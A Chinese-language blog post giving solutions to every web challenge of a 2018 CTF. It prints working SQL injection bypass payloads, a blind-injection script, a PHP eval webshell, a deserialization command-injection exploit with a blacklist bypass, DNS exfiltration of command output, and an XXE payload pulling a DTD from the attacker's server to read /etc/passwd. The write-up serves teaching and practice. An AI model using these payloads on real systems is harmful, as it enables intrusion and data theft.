Sky's blog

happymoctf之web全题解

Word count: 2,525 / Reading time: 13 min
2018/02/13 Share

前言

临近除夕,CTF首页也变的这么皮了吗……

是时候让你手指锻炼一下了

打开页面源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 108000){
var form = $('<form action="" method="get">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();



}
});
});

于是直接访问:

1
http://120.78.57.208:6003/web1/?clicks=10000000000

可拿到flag:moctf{Here_Is_Your_Surprise}

ez Injection

一道比较简单的bypass题
随手可以测试出来空格被过滤了,于是用%0a绕过
继续随手测试

1
?id=1'%0aorder%0aby%0a3%23

发现有3列,于是用Union select

1
?id=1'%0aunion%0aselect%0a1,2,3%23

发现没了回显,于是猜测union和select被过滤了,我们尝试

1
?id=1'%0aunion%23

发现又有回显了,应正了我们的猜想
于是尝试双写绕过

1
?id=1'%0aununionion%0aseleselectct%0a1,2,3%23

成功回显

1
尊敬的:saltyfish您本次恭喜您本次比赛荣获第:1名</b></br><b>尊敬的:2您本次恭喜您本次比赛荣获第:1名

后发现括号被过滤了,但是问题不大,我们直接拿数据

1
?id=0' union select 1,TABLE_NAME,2 from information_schema.TABLES limit 81,1 #

bypass一下

1
?id=0'%0aununionion%0aselselectect%0a1,TABLE_NAME,2%0afrfromom%0ainformation_schema.TABLES%0alimit%0a82,1%23

得到回显表名

1
04ad5938eaf0efb6

继续爆字段

1
0' union select 1,COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=0x30346164353933386561663065666236 limit 0,1#

bypass一下

1
?id=0'%0auniunionon%0aselselectect%0a1,COLUMN_NAME,2%0afrfromom%0ainformation_schema.COLUMNS%0awhewherere%0aTABLE_NAME=0x30346164353933386561663065666236%0alimit%0a0,1%23

依次类推,得到字段名

1
name value

取值

1
0' union select 1,name,2 from 04ad5938eaf0efb6 limit 0,1#

bypass

1
0'%0auniunionon%0aseselectlect%0a1,name,2%0afrfromom%0a04ad5938eaf0efb6%0alimit%0a0,1%23

即可得到值

1
flag moctf{5o_easy_inj3cTi0n}

要认真

随手点点,发现有url

1
http://119.29.170.143:6003/show.php?id=37

随手尝试注入

1
2
http://119.29.170.143:6003/show.php?id=37^1
http://119.29.170.143:6003/show.php?id=37^0

发现回显不同,于是写脚本盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding:utf8 -*-
import requests
flag = ""
url = 'http://119.29.170.143:6001/list.php?id='
for i in range(1,500):
for j in range(33,127):
payload = "22^(ascii(substr((select password from cms_users limit 0,1),%s,1))>%s)"%(i,j)
url1 = url+payload
#print url1
s = requests.get(url=url1)
# print "i:",i,"j:",j
if "虚拟货币首次大规模评比结果出炉" not in s.content:
flag += chr(j)
print flag
break

可以得到库名:

1
cms

表名

1
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users

cms_users表

1
userid,username,password

于是查管理员密码

1
2
admin
moctf6

然后在后台发现了文件上传

一通尝试包括%00无果,发现服务器未nginx
于是搜索解析漏洞

1
http://blog.csdn.net/wn314/article/details/77388289

百度第一条就可以看到

1
http://127.0.0.1/test.jpg/test.php

随机我们写小马

1
2
3
<?php 
@eval($_GET[sky]);
?>

改名为1.jpg上传
访问我们上传的shell

1
http://119.29.170.143:6003/attachment/201802/20180213110810_41.jpg/20180213110810_41.php?sky=system(ls);

发现成功命令执行
随后在根目录发现flag,直接读

1
view-source:http://119.29.170.143:6003/attachment/201802/20180213110950_21.jpg/20180213110950_21.php?sky=var_dump(`cat%20../../../../../../../flag.txt`);

即可拿到flag

1
2
3
string(31) "moctf{Y0u_need_to_b3_ser1ous}

"

PUBG

发现文件泄露:index.php.bak
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
include 'class.php';
if(is_array($_GET)&&count($_GET)>0)
{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("<center>机场大仙太多,你被打死了~</center>");
}
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("<center>由于你长时间没动,掉到海里淹死了~</center");
}
else
{
die("<center>You Lose</center>");

}
}
?>

关键点

1
2
3
4
5
6
7
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}

继续发现文件泄露class.php.bak
class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>

这里容易构造

1
2
3
4
5
6
7
8
9
<?php 
class sheldon
{
public $bag="win.php && whoami && index";
public $weapon="AWM";
}
$sky = new sheldon();
echo serialize($sky);
?>

然后得到

1
O:7:"sheldon":2:{s:3:"bag";s:26:"win.php && whoami && index";s:6:"weapon";s:3:"AWM";}

绕过wake_up

1
O:7:"sheldon":20:{s:3:"bag";s:26:"win.php && whoami && index";s:6:"weapon";s:3:"AWM";}

访问

1
view-source:http://120.78.57.208:6001/?LandIn=school&pubg=O%3a7%3a%22sheldon%22%3a20%3a%7bs%3a3%3a%22bag%22%3bs%3a26%3a%22win%2ephp%20%26%26%20whoami%20%26%26%20index%22%3bs%3a6%3a%22weapon%22%3bs%3a3%3a%22AWM%22%3b%7d

可以得到

1
<center>Winner Winner,Chicken Dinner</center>www-data

成功执行命令
尝试读waf.php

1
2
3
4
5
6
7
8
9
<?php 
class sheldon
{
public $bag="win.php && sort waf";
public $weapon="AWM";
}
$sky = new sheldon();
echo serialize($sky);
?>

发现可以成功读到waf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);

function waf($values){
//$black = [];
$black = array('vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','head','tail','more','tac','rm','ls','tailf','%','%0a','%0d','%00','ls','echo','ps','>','<','${IFS}','ifconfig','mkdir','cp','chmod','wget','curl','http','www','`','printf');

foreach ($black as $key => $value) {
if(stripos($values,$value)){
die("Attack!");
}
}
}
?>

发现过滤非常不严谨,我们可以利用bash特性直接绕过,任意命令执行
\绕过关键字
先ls看看目录

1
win.php && l\s && index

回显

1
2
3
4
5
6
7
class
class.php
class.php.bak
image
index.php
index.php.bak
waf.php

看一下pwd路径

1
/app

懒得找了,find一下

1
find /app

得到

1
2
3
4
5
6
7
8
9
10
/app/class
/app/class/flag.php
/app/class/win.php
/app/image
/app/image/PUBG.jpg
/app/index.php.bak
/app/waf.php
/app/class.php
/app/class.php.bak
/app/index.php

直接cat即可

1
win.php && c\at ./class/flag.php && index

得到

1
2
3
<?php
//moctf{Try_Learn_PhP_h4rder}
?>

登录一哈

发现git泄露

1
http://111.230.32.124:6001/.git/

拿到源码后分析一下
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();

if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
$_SESSION["username"] = $username;
header("Location:./index.php");
}
else if(isset($_SESSION["username"])){
echo '<h1>hello '.$_SESSION["username"].'</h1>';
}
else {
?>

flag.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
session_start();
class MOCTF{
public $flag;
public $name;
function __destruct(){
$this->flag = "moctf{xxxxxxxxxxxxxxxxxxx}";
if($this->flag == $this->name){
echo "Wow,this is flag:".$this->flag;
}
}
}

关键处:

1
ini_set('session.serialize_handler', 'php_binary');

写的很详细:

1
https://yq.aliyun.com/ziliao/612

我们只需要简单构造

1
2
3
4
5
6
7
8
<?php
class MOCTF{
public $flag;
public $name;
}
$sky = new MOCTF();
$sky->name = &$sky->flag;
echo serialize($sky);

这里绕过$this->flag == $this->name
即地址相同即可得到相同赋值,即可轻松绕过
然后得到

1
O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;}

构造一下:

1
|O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;}

登录

然后访问

1
http://111.230.32.124:6001/flag.php

即可得到flag

1
Wow,this is flag:moctf{ser1ali2e_h4ndler_1s_c00l}

ping一下好吗

拿到题目发现是盲打RCE
这里直接选择数据带出

1
ip=`whoami`.你的ip

发现数据成功带出

于是直接ls,为防止特殊字符无法打出,选择base64一下

1
ip=`ls |base64`.你的ip

即可得到

1
Y3NzCmV4ZWMucGhwCmdoZGYucGhwCmluZGV4Lmh0bWwK

解码

1
2
3
4
css
exec.php
ghdf.php
index.html

访问ghdf.php
发现flag

1
<?php$flag="moctf{dfa10ff1bd9872cda1d408f07eb66394}";

字符串检查

题目提示:application/xml
所以应该是xxe了
我们先修改Content-Type试试
得到回显

1
{"result":false,"msg":"只有本机才能访问该接口!"}

然后题目又说了

1
client-ip会告诉服务器你的ip吗?

于是改

1
client-ip: localhost

回显:

1
{"result":false,"msg":"该字符串格式不良好!"}

管他良好不良好,我们先试一发blind xxe

1
2
3
4
5
6
<!DOCTYPE ANY[
<!ENTITY % r SYSTEM "http://你的vps/xxe.xml">
%r;
%all;
%s;
]>

结果服务器直接就收到了回显

于是选择读/etc/passwd
即可发现flag

1
2
3
4
5
6
7
8
9
10
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
moctf{xXe_can_W1th_C4ye?}

简单审计

审计源码,由于之前做过pwnhub的公开赛的一道上传题目
这个题目里未对数组进行处理立刻引起了我的注意
所以我尝试构造数组来绕过

1
2
3
if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){
die('error ext!');
}

我的构造

1
$filename= array('0'=> '1','2'=>'jpg','3'=>'php');

发现可以成功写入文件

1
1moctf.$code.php

那么问题来了

1
2
3
4
5
6
7
8
function get_rand_code($l = 6) {
$result = '';
while($l--) {
$result .= chr(rand(ord('a'), ord('z')));
}
return $result;
}
$code=get_rand_code();

这里的文件名我们如何解决呢?
这里有两种方法:

1
2
1.bypass(非预期)
2.rand随机数预测(预期解)

这里说说非预期解:
注意到文件路径构造

1
$finalname=$filename[0].'moctf'.$code.".".end($filename);

末尾我们可控,于是容易想到构造

1
$filename= array('0'=> '1','2'=>'jpg','3'=>'php/../sky.php');

这样可以写入文件

1
1moctf111111.php/../sky.php

直接越过了这个我们未知的文件夹,写到了上层目录中
而目录

1
$savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";

我们可以直接得到路径
于是我们将自己的vps的ip求sha1
然后可以得到路径

1
/uploads/sha1(你的vps_ip)/

然后用vps的curl发请求

1
curl -d "filename[0]=1&filename[2]=jpg&filename[3]=php/../sky111.php&content[]=<?php system('cat ../../flag.php');?>" http://120.78.57.208:6005/?action=upload

访问即可拿到flag

1
2
3
<?php
//moctf{r4nd_ma8y_S0meThing_Inst4rsr1n9}
echo "here,flag!";

CATALOG
  1. 1. 前言
  2. 2. 是时候让你手指锻炼一下了
  3. 3. ez Injection
  4. 4. 要认真
  5. 5. PUBG
  6. 6. 登录一哈
  7. 7. ping一下好吗
  8. 8. 字符串检查
  9. 9. 简单审计